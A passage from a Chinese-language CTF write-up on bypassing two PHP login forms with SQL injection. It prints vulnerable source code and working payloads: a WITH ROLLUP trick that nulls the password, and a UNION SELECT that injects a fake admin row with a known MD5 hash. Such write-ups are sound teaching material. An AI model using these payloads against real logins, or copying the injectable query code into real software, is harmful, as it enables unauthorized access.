通常会出现登录界面,使用burpsuit抓包之后,在burp中修改username和password的信息,修改方式与上述类型相似。

案例

案例1(with rollup直接架空密码)

  1. 源码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    <?php
    $flag="";
    function replaceSpecialChar($strParam){
    $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
    return preg_replace($regex,"",$strParam);
    }
    if (!$con)
    {
    die('Could not connect: ' . mysqli_error());
    }
    if(strlen($username)!=strlen(replaceSpecialChar($username))){
    die("sql inject error");
    }
    if(strlen($password)!=strlen(replaceSpecialChar($password))){
    die("sql inject error");
    }
    $sql="select * from user where username = '$username'";
    $result=mysqli_query($con,$sql);
    if(mysqli_num_rows($result)>0){
    while($row=mysqli_fetch_assoc($result)){
    if($password==$row['password']){
    echo "登陆成功<br>";
    echo $flag;
    }
    }
    }
    ?>
  2. 我们发现很多关键字 $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";都被过滤掉了,那么常规注入就不可行了,而且账户密码都进行了过滤,那么我们啥也不知道,那么怎么办呢?可以使用with rollup使密码为空,然后进行绕过。

  3. 'or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#

  4. 注入登录,登录成功得到flag。

案例2(联合注入添加虚拟用户)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";

// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}

$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}

?>

进入有一个登录框,提示输入账号密码,账号输入 admin,提示密码错误,说明账号为admin。

根据后续的信息收集,发现sql语句为:select * from user where username = '$name' ;,说明需要在username注入。

fuzz大法查看一下过滤了哪些。得到一些被过滤的字符:or,xor,(,),=,oorr,floor(),rand(),information_schema.tables,concat_ws(),order,CAST(),format,ord,for等。

尝试绕过无法成功,使用联合注入添加虚拟用户。

首先判断一下username在哪一个字段。

1' union select 'admin',2,3--+,提示用户名错误,说明username不是在第一个字段。

1' union select 1,'admin',3--+,提示密码错误,说明username在第二个字段。

做到这里的思路就是使用联合注入创建一条临时数据。

换种方式猜测
username数据表里面的3个字段分别是flag、name、password。
猜测只有password字段位NULL
咱们给参数password传入的值是123
那么传进去后,后台就会把123进行md5值加密并存放到password字段当中
当我们使用查询语句的时候
我们pw参数的值会被md5值进行加密
然后再去与之前存入password中的md5值进行比较
如果相同就会输出flag

name=1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1或者是 name=1' union select 1,'admin',NULL#&pw[]=1(因为md5不能识别数组),意思就是插入一条临时的数据admin,密码为md5加密后的1,然后令pw=1,就可以自动登录上了。